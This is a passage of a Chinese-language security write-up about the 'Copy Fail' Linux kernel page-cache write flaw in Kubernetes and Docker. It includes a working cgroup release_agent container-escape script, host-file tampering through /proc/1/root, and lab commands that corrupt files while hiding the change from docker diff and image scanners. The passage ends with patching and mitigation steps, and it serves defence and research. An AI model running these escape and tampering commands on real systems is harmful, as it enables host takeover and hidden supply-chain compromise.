可写</span></span><span leaf=""><br/></span><span leaf="">echo 1 &gt; /tmp/cgrp/x/notify_on_release</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 设置 release_agent 为容器 upperdir 中的脚本路径</span></span><span leaf=""><br/></span><span leaf="">host_path=<span class="code-snippet__variable">$(sed -n &#34;s/.*upperdir=\([^,]*\)</span>.*/\1/p<span class="code-snippet__string">&#34; /proc/self/mountinfo)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">echo &#34;</span>$host_path/cmd<span class="code-snippet__string">&#34; &gt; /tmp/cgrp/release_agent</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string"># 写入逃逸命令</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">echo &#34;</span><span class="code-snippet__comment">#!/bin/sh&#34; &gt; /cmd</span></span><span leaf=""><br/></span><span leaf="">echo <span class="code-snippet__string">&#34;id &gt; /tmp/cgrp/output; hostname &gt;&gt; /tmp/cgrp/output&#34;</span> &gt;&gt; /cmd</span><span leaf=""><br/></span><span leaf="">chmod +x /cmd</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 触发</span></span><span leaf=""><br/></span><span leaf="">echo $$ &gt; /tmp/cgrp/x/cgroup.procs</span><span leaf=""><br/></span><span leaf="">sleep 1 &amp;&amp; echo 0 &gt; /tmp/cgrp/x/cgroup.procs</span><span leaf=""><br/></span><span leaf="">sleep 1 &amp;&amp; cat /tmp/cgrp/output</span><span leaf=""><br/></span><span leaf="">&#39;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># uid=0(root) gid=0(root) groups=0(root)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># your-hostname</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># ↑ 宿主机以 root 执行了命令</span></span></code></pre></p><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v13v6" style="font-size: 15px;"><span leaf="">hostPID + CAP_SYS_PTRACE + Copy Fail</span></span></h4><p><span mpa-font-style="mp0kvm4v1pb4" style="font-size: 15px;"><span leaf="">当容器共享宿主机 PID namespace 并拥有</span><code><span leaf="">CAP_SYS_PTRACE</span></code><span leaf="">时，可以通过</span><code><span leaf="">/proc/1/root/</span></code><span leaf="">访问宿主机的文件系统根目录。结合 Copy Fail 的 page cache 写入，可以篡改宿主机文件。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vygm"><span leaf=""># </span><span leaf="">通过 /proc/1/root/ 获取宿主机文件 fd，然后 Copy Fail 篡改</span><span leaf=""><br/></span><span leaf="">kubectl exec -n copyfail-lab hostpid-test -- python3 -c &#34;</span><span leaf=""><br/></span><span leaf="">import os</span><span leaf=""><br/></span><span leaf="">fd = os.open(&#39;/proc/1/root/usr/bin/cat&#39;, os.O_RDONLY)</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">... page_cache_write_4bytes(fd, 0, b<span class="code-snippet__string">&#39;\xde\xad\xbe\xef&#39;</span>)</span><span leaf=""><br/></span><span leaf="">&#34;</span></code></pre></p><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v3t" style="font-size: 15px;"><span leaf="">结论总结</span></span></h4><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.38981481481481484" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="311131142" src="https://wechat2rss.xlab.app/img-proxy/?k=2d35cc23&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K397ePicylWLyFibbEuzKU06AEzq5aVz0ia6VArLib7vH35QtrcsdLNjfwwu0Z35icibJ5EicXwxXiaq6hZeZic4LdtxwUC7TV74fLUY7wk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4vxvj" style="font-size: 15px;"><span leaf="">6.5 Docker 环境</span></span></h3><p><span mpa-font-style="mp0kvm4vw7s" style="font-size: 15px;"><span leaf="">前面的分析以 Kubernetes (containerd) 环境为主。Docker 环境在底层机制上完全相同——相同的 overlayfs layer 共享、相同的 page cache 全局性——因此</span><strong><span leaf="">跨容器 page cache 共享、只读 volume 绕过（</span><code><span leaf="">-v path:ro</span></code><span leaf="">）、Shocker 升级（</span><code><span leaf="">--cap-add DAC_READ_SEARCH</span></code><span leaf="">）</span></strong><span leaf="">等攻击路径在Docker环境也成立.</span></span></p><p><span mpa-font-style="mp0kvm4vw7s" style="font-size: 15px;"><span leaf="">我也在 Docker 26.1.3 (overlay2, xfs) 环境上验证过，效果与 K8s 一致（将</span><code><span leaf="">kubectl exec</span></code><span leaf="">替换为</span><code><span leaf="">docker exec</span></code><span leaf="">、</span><code><span leaf="">readOnly: true</span></code><span leaf="">替换为</span><code><span leaf="">-v path:ro</span></code><span leaf="">即可复现）。本节不再重复这些共通结论，聚焦 Docker 独有的架构差异。</span></span></p><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v250u" style="font-size: 15px;"><span leaf="">dockerd 的架构差异</span></span></h4><p><span mpa-font-style="mp0kvm4v1fgq" style="font-size: 15px;"><span leaf="">Section 6.3 中验证了 K8s 环境下 containerd 仅遍历目录元数据、不读取 snapshot 层文件数据。Docker 的</span><code><span leaf="">dockerd</span></code><span leaf="">则不同——作为单体守护进程，</span><code><span leaf="">docker export</span></code><span leaf="">、</span><code><span leaf="">docker commit</span></code><span leaf="">、</span><code><span leaf="">docker cp</span></code><span leaf="">等管理 API 会以宿主机权限读取容器 overlay 文件系统的完整文件内容。如果 page cache 已被篡改，这些操作读取到的就是篡改后的数据。</span></span></p><p><span mpa-font-style="mp0kvm4vyj" style="font-size: 15px;"><span leaf="">需要先指出：</span><strong><span leaf="">这一行为并非 Copy Fail 独有</span></strong><span leaf="">。直接在容器内写文件也能修改内容，</span><code><span leaf="">docker commit</span></code><span leaf="">/</span><code><span leaf="">export</span></code><span leaf="">同样会包含修改。Copy Fail 的真正独特价值将在下一节&#34;隐蔽性&#34;中展开。</span></span></p><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v1ra2" style="font-size: 15px;"><code><span leaf="">docker export</span></code><span leaf="">vs</span><code><span leaf="">docker commit</span></code><span leaf="">：持久化差异</span></span></h4><p><span leaf="" mpa-font-style="mp0kvm4v14iq" style="font-size: 15px;">两者对 Copy Fail 篡改的处理截然不同。</span></p><p><span mpa-font-style="mp0kvm4ve5s" style="font-size: 15px;"><strong><code><span leaf="">docker export</span></code><span leaf="">— 持久化</span></strong><span leaf="">。它将容器的整个文件系统平铺写入 tar 文件，逐一读取所有文件内容。page cache 中的篡改数据被写入 tar 后就</span><strong><span leaf="">永久固化</span></strong><span leaf="">，脱离 page cache 生命周期：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1yap"><span leaf="">docker run -d --name copyfail-test python:3.11-slim <span class="code-snippet__built_in">sleep</span> infinity</span><span leaf=""><br/></span><span leaf="">docker <span class="code-snippet__built_in">cp</span> poc_marker.py copyfail-test:/poc_marker.py</span><span leaf=""><br/></span><span leaf="">docker <span class="code-snippet__built_in">exec</span> copyfail-test python3 /poc_marker.py /usr/lib/os-release</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [+] SUCCESS: page cache corrupted! first 4 bytes = deadbeef</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># page cache 被篡改期间导出 — 篡改数据固化到 tar</span></span><span leaf=""><br/></span><span leaf="">docker <span class="code-snippet__built_in">export</span> copyfail-test &gt; tainted.tar</span><span leaf=""><br/></span><span leaf="">tar xf tainted.tar --to-stdout usr/lib/os-release | <span class="code-snippet__built_in">head</span> -c 20 | xxd</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 00000000: dead beef 5459 5f4e 414d 453d 2244 6562  ....TY_NAME=&#34;Deb</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># drop_caches 后重新导出 — 新的 tar 恢复原始数据</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">echo</span> 3 &gt; /proc/sys/vm/drop_caches</span><span leaf=""><br/></span><span leaf="">docker <span class="code-snippet__built_in">export</span> copyfail-test &gt; clean.tar</span><span leaf=""><br/></span><span leaf="">tar xf clean.tar --to-stdout usr/lib/os-release | <span class="code-snippet__built_in">head</span> -c 20 | xxd</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 00000000: 5052 4554 5459 5f4e 414d 453d 2244 6562  PRETTY_NAME=&#34;Deb</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 关键: 即使 page cache 已被清除, 第一个 tar 中的篡改数据永久存在</span></span><span leaf=""><br/></span><span leaf="">tar xf tainted.tar --to-stdout usr/lib/os-release | <span class="code-snippet__built_in">head</span> -c 20 | xxd</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 00000000: dead beef 5459 5f4e 414d 453d 2244 6562  ....TY_NAME=&#34;Deb  ← 永久固化</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4v19vr" style="font-size: 15px;"><span leaf="">如果这个 tar 被用于</span><code><span leaf="">docker import</span></code><span leaf="">构建新镜像或分发到其他环境，篡改就完成了供应链传播。</span></span></p><p><span mpa-font-style="mp0kvm4v1mdt" style="font-size: 15px;"><strong><code><span leaf="">docker commit</span></code><span leaf="">— 不持久化</span></strong><span leaf="">。它创建新的镜像层，但只记录 upper layer 的变更；lower layer 以引用方式共享，文件数据不会被复制到新层。因此 committed 镜像中的 lower layer 文件仍然从 page cache（或磁盘）动态读取：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v155x"><span leaf=""><span class="code-snippet__comment"># 重新篡改 page cache</span></span><span leaf=""><br/></span><span leaf="">docker <span class="code-snippet__built_in">exec</span> copyfail-test python3 /poc_marker.py /usr/lib/os-release</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># commit 并从新镜像启动 — 读到篡改数据（来自 page cache）</span></span><span leaf=""><br/></span><span leaf="">docker commit copyfail-test copyfail-committed:<span class="code-snippet__built_in">test</span></span><span leaf=""><br/></span><span leaf="">docker run --<span class="code-snippet__built_in">rm</span> copyfail-committed:<span class="code-snippet__built_in">test</span> <span class="code-snippet__built_in">head</span> -c 20 /usr/lib/os-release | xxd</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 00000000: dead beef 5459 5f4e 414d 453d 2244 6562  ....TY_NAME=&#34;Deb</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># drop_caches 后再启动 — 读到原始数据（从磁盘重新加载）</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">echo</span> 3 &gt; /proc/sys/vm/drop_caches</span><span leaf=""><br/></span><span leaf="">docker run --<span class="code-snippet__built_in">rm</span> copyfail-committed:<span class="code-snippet__built_in">test</span> <span class="code-snippet__built_in">head</span> -c 20 /usr/lib/os-release | xxd</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 00000000: 5052 4554 5459 5f4e 414d 453d 2244 6562  PRETTY_NAME=&#34;Deb</span></span></code></pre></p><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v1yjw" style="font-size: 15px;"><span leaf="">隐蔽性：多层检测机制的盲区</span></span></h4><p><span mpa-font-style="mp0kvm4vu2u" style="font-size: 15px;"><span leaf="">前面展示了</span><code><span leaf="">docker export</span></code><span leaf="">可以持久化篡改数据，但直接在容器内写文件再 export 也能达到同样效果。Copy Fail 的独特价值在于：篡改发生在 lower layer 的 page cache 中，不触发 overlayfs 的 Copy-on-Write，使得 Docker 的多层检测机制全部失效。</span></span></p><p><strong mpa-font-style="mp0kvm4v14ue" style="font-size: 15px;"><span leaf="">1.</span><code><span leaf="">docker diff</span></code><span leaf="">不可见</span></strong></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vgsj"><span leaf="">docker diff copyfail-test</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">A /poc_marker.py          ← 只显示 upper layer 变更</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">C /usr/local/lib/...      ← Python 缓存文件</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">                          ← /usr/lib/os-release 未出现！</span></code></pre></p><p><span mpa-font-style="mp0kvm4vu6q" style="font-size: 15px;"><code></code></span></p><p><span mpa-font-style="mp0kvm4vu6q" style="font-size: 15px;"><code><span leaf="">docker diff</span></code><span leaf="">只检查 upper layer 变更。直接写文件会触发 CoW 写入 upper layer →</span><code><span leaf="">docker diff</span></code><span leaf="">立即显示；Copy Fail 修改 page cache →</span><code><span leaf="">docker diff</span></code><span leaf="">无感知。</span></span></p><p><strong mpa-font-style="mp0kvm4v1cpc" style="font-size: 15px;"><span leaf="">2. overlay2 layer 磁盘路径同样被&#34;污染&#34;</span></strong></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4veqe"><span leaf="">LAYER=$(docker inspect copyfail-test --format <span class="code-snippet__string">&#39;{{.GraphDriver.Data.LowerDir}}&#39;</span> \</span><span leaf=""><br/></span><span leaf="">        | <span class="code-snippet__built_in">tr</span> <span class="code-snippet__string">&#39;:&#39;</span> <span class="code-snippet__string">&#39;\n&#39;</span> | xargs -I{} sh -c <span class="code-snippet__string">&#39;test -f {}/usr/lib/os-release &amp;&amp; echo {}&#39;</span> | <span class="code-snippet__built_in">head</span> -1)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">head</span> -c 16 <span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__variable">$LAYER</span></span><span class="code-snippet__string">/usr/lib/os-release&#34;</span> | xxd -p</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># deadbeef54595f4e414d453d22446562    ← 宿主机读 layer 路径 = 读 page cache</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">echo</span> 3 &gt; /proc/sys/vm/drop_caches</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">head</span> -c 16 <span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__variable">$LAYER</span></span><span class="code-snippet__string">/usr/lib/os-release&#34;</span> | xxd -p</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 5052455454595f4e414d453d22446562    ← drop_caches 后才能看到原始数据</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4v14io" style="font-size: 15px;"><span leaf="">layer 路径上的文件和容器内的文件共享同一 inode → 都经过 page cache。宿主机上任何通过内核文件系统读取的工具（</span><code><span leaf="">sha256sum</span></code><span leaf="">、</span><code><span leaf="">cat</span></code><span leaf="">、文件完整性检查）在 page cache 被篡改期间都会读到篡改后的数据，无法区分&#34;真实磁盘内容&#34;和&#34;被篡改的 page cache&#34;。</span></span></p><p><strong mpa-font-style="mp0kvm4v232u" style="font-size: 15px;"><span leaf="">3. Image layer digest 不变</span></strong></p><p><span mpa-font-style="mp0kvm4va80" style="font-size: 15px;"><span leaf="">唯一不受影响的是 image layer 的压缩 blob（</span><code><span leaf="">docker image inspect</span></code><span leaf="">中的</span><code><span leaf="">RootFS.Layers</span></code><span leaf="">digest）——这些是独立的 tar.gz 文件，与 overlay2 中解压出的文件是不同 inode。镜像扫描工具（Trivy、Snyk 等）通常基于这些 layer blob 进行分析，因此</span><strong><span leaf="">扫描原始镜像</span></strong><span leaf="">不会检测到 Copy Fail 篡改。</span></span></p><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v1zui" style="font-size: 15px;"><span leaf="">对比总结</span></span></h4><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.325" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="311131143" src="https://wechat2rss.xlab.app/img-proxy/?k=732fa627&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K3iaib3eBCUDL3GSCBiaO9mYJBib9TftK3ySSuTsuv2UYqJyRvk8ib8fygnzD9jC3kMEBABlW90IyCFl1UwtZfdzt3mGcO0kibKQjWxM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div><div><p><table><thead><tr></tr></thead></table></p></div></div><p><span mpa-font-style="mp0kvm4v202y" style="font-size: 15px;"><span leaf="">Copy Fail 在此场景的价值不在于&#34;能做到什么&#34;（直接写文件也能做到），而在于&#34;</span><strong><span leaf="">做了什么而不被发现</span></strong><span leaf="">&#34;——</span><code><span leaf="">docker diff</span></code><span leaf="">不报告、layer digest 不变、镜像扫描不触发，但</span><code><span leaf="">docker export</span></code><span leaf="">已经将篡改数据持久化并分发出去。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="display: flex;flex-flow: row;margin: 15px 0% 10px;text-align: center;justify-content: center;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;background-color: rgb(246, 246, 246);flex: 0 0 auto;align-self: flex-start;min-width: 10%;max-width: 100%;height: auto;box-shadow: rgb(0, 0, 0) 0px 0px 0px;border-width: 0px;box-sizing: border-box;"><div style="transform: translate3d(4px, 0px, 0px);-webkit-transform: translate3d(4px, 0px, 0px);-moz-transform: translate3d(4px, 0px, 0px);-o-transform: translate3d(4px, 0px, 0px);box-sizing: border-box;"><div style="padding: 0px 17px;color: rgb(88, 88, 88);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">七、防御缓解</span></strong></p></div></div></div></div></div></div><p><span mpa-font-style="mp0kvm4v1xkd" style="font-size: 15px;"><span leaf="">Copy Fail 的根本修复是</span><strong><span leaf="">升级内核</span></strong><span leaf="">（7.1）。如果无法立即升级，可通过禁用漏洞模块（7.2）进行临时缓解。在此基础上，容器环境建议额外部署 seccomp 策略阻止 AF_ALG socket 创建（7.3）。</span></span></p><p><span mpa-font-style="mp0kvm4v1z98" style="font-size: 15px;"><span leaf="">需要注意的是，旧版 Docker 默认 seccomp、Kubernetes</span><code><span leaf="">RuntimeDefault</span></code><span leaf="">、SELinux targeted 策略以及 sysctl 参数均</span><strong><span leaf="">不能防御</span></strong><span leaf="">此漏洞。SELinux 虽然可以通过自定义策略模块（编写</span><code><span leaf="">.te</span></code><span leaf="">文件拒绝</span><code><span leaf="">alg_socket</span></code><span leaf="">类）系统级阻止 AF_ALG socket 创建，对裸机、VM 和容器环境均有效，但需要针对每个 SELinux domain 编写规则，部署和维护复杂度远高于 seccomp 或模块禁用方案。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v1npm" style="font-size: 15px;"><span leaf="">7.1 根本修复：升级内核</span></span></h3><p><span mpa-font-style="mp0kvm4v1af4" style="font-size: 15px;"><span leaf="">唯一彻底的解决方案是升级到包含修复补丁</span><code><span leaf="">a664bf3d603d</span></code><span leaf="">的内核版本。截至 2026 年 5 月，各主流发行版的修复状态如下：</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0453703703703703" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="311131144" src="https://wechat2rss.xlab.app/img-proxy/?k=fa11637a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K0ITL3Muqmib7zYvLIgVHX9eSLFhTGMRK4icZaGbLibr2h1kD2udPgRLzNxDx0RDSYO57ckWTYKQJC5DWmUcnk3zd6DPsVGsM6icc4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><blockquote><p><strong mpa-font-style="mp0kvm4w1xjm" style="font-size: 15px;"><span leaf="">受影响的内核版本范围</span></strong></p><p><span leaf="" mpa-font-style="mp0kvm4w1iyo" style="font-size: 15px;">根据Alpine Security Tracker，受影响的精确版本范围：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="mp0kvm4wspz" style="font-size: 15px;">4.14 ≤ kernel &lt; 5.10.254</span></p></li><li><p><span leaf="" mpa-font-style="mp0kvm4wjai" style="font-size: 15px;">5.11 ≤ kernel &lt; 5.15.204</span></p></li><li><p><span leaf="" mpa-font-style="mp0kvm4w189p" style="font-size: 15px;">5.16 ≤ kernel &lt; 6.1.170</span></p></li><li><p><span leaf="" mpa-font-style="mp0kvm4w1vz9" style="font-size: 15px;">6.2 ≤ kernel &lt; 6.6.137</span></p></li><li><p><span leaf="" mpa-font-style="mp0kvm4w1wot" style="font-size: 15px;">6.7 ≤ kernel &lt; 6.12.85</span></p></li><li><p><span leaf="" mpa-font-style="mp0kvm4w16g7" style="font-size: 15px;">6.13 ≤ kernel &lt; 6.18.22</span></p></li><li><p><span leaf="" mpa-font-style="mp0kvm4wcj2" style="font-size: 15px;">6.19 ≤ kernel &lt; 6.19.12</span></p></li></ul></blockquote><p><span mpa-font-style="mp0kvm4w1qx2" style="font-size: 15px;"><strong><span leaf="">检查当前系统是否受影响</span></strong><span leaf="">：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4w207p"><span leaf=""><span class="code-snippet__comment"># 1. 检查内核版本是否在受影响范围</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">uname</span> -r</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 2. 检查 algif_aead 是可加载模块还是内建模块</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#    有输出 → 可加载模块; 无输出 → 内建模块</span></span><span leaf=""><br/></span><span leaf="">modinfo algif_aead 2&gt;/dev/null &amp;&amp; <span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#34;==&gt; LOADABLE module&#34;</span> || <span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#34;==&gt; BUILT-IN or not present&#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 3. 检查是否已有缓解措施</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># Debian/Ubuntu: kmod 缓解</span></span><span leaf=""><br/></span><span leaf="">grep -r algif_aead /etc/modprobe.d/ 2&gt;/dev/null</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># RHEL/CentOS: initcall_blacklist</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">cat</span> /proc/cmdline | grep -o <span class="code-snippet__string">&#39;initcall_blacklist=[^ ]*&#39;</span></span></code></pre></p><p><span leaf="" mpa-font-style="mp0kvm4w1tim" style="font-size: 15px;">各发行版的系统更新命令：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4wsug"><span leaf=""><span class="code-snippet__comment"># Debian/Ubuntu:</span></span><span leaf=""><br/></span><span leaf="">sudo apt update &amp;&amp; sudo apt upgrade</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># Alpine:</span></span><span leaf=""><br/></span><span leaf="">apk update &amp;&amp; apk upgrade</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># Arch:</span></span><span leaf=""><br/></span><span leaf="">pacman -Syu</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># SUSE:</span></span><span leaf=""><br/></span><span leaf="">zypper update</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># RHEL/CentOS:</span></span><span leaf=""><br/></span><span leaf="">sudo dnf update kernel &amp;&amp; reboot</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># Fedora:</span></span><span leaf=""><br/></span><span leaf="">sudo dnf upgrade --refresh &amp;&amp; reboot</span></code></pre></p><blockquote><p><strong mpa-font-style="mp0kvm4w137d" style="font-size: 15px;"><span leaf="">CISA KEV</span></strong><span leaf=""><br/></span><span leaf="" mpa-font-style="mp0kvm4w774" style="font-size: 15px;">此漏洞已于 2026-05-01 被CISA 加入 KEV 目录，截止修复日期为 2026-05-15。</span></p></blockquote><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4w15sy" style="font-size: 15px;"><span leaf="">7.2 临时缓解：禁用漏洞模块</span></span></h3><p><span mpa-font-style="mp0kvm4w1c54" style="font-size: 15px;"><span leaf="">如果无法立即升级内核，可以通过禁用</span><code><span leaf="">algif_aead</span></code><span leaf="">模块进行临时缓解。不同发行版对该模块的编译方式决定了缓解方法：</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.18888888888888888" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="311131145" src="https://wechat2rss.xlab.app/img-proxy/?k=557cb692&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K2fanxEKHSAk05rjrFEDCLdeSBHWuvhDqUibCZOJVPYZcARNkEZiceaOfTq0SGOkUTHeVQcJ3lUf3nLv981C9zicFgXZSHEh0RtL0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span mpa-font-style="mp0kvm4wtgt" style="font-size: 15px;"><strong><span leaf="">可加载模块的发行版</span></strong><span leaf="">（Ubuntu / Debian / Alpine / Arch / SUSE）：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4w1hk5"><span leaf=""><span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#34;install algif_aead /bin/false&#34;</span> | sudo <span class="code-snippet__built_in">tee</span> /etc/modprobe.d/disable-algif_aead.conf</span><span leaf=""><br/></span><span leaf="">sudo rmmod algif_aead 2&gt;/dev/null || sudo reboot</span></code></pre></p><p><span mpa-font-style="mp0kvm4wbg0" style="font-size: 15px;"><span leaf="">Ubuntu 的</span><code><span leaf="">kmod</span></code><span leaf="">包安全更新会自动创建上述文件。</span></span></p><p><span mpa-font-style="mp0kvm4w1kuj" style="font-size: 15px;"><strong><span leaf="">内建模块的发行版</span></strong><span leaf="">（RHEL / CentOS / Oracle Linux / Fedora / Amazon Linux）：</span></span></p><p><span mpa-font-style="mp0kvm4w123f" style="font-size: 15px;"><span leaf="">对于内建模块，</span><code><span leaf="">rmmod</span></code><span leaf="">和</span><code><span leaf="">/etc/modprobe.d/</span></code><span leaf="">blacklist</span><strong><span leaf="">完全无效</span></strong><span leaf="">：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4w1i8z"><span leaf="">grep 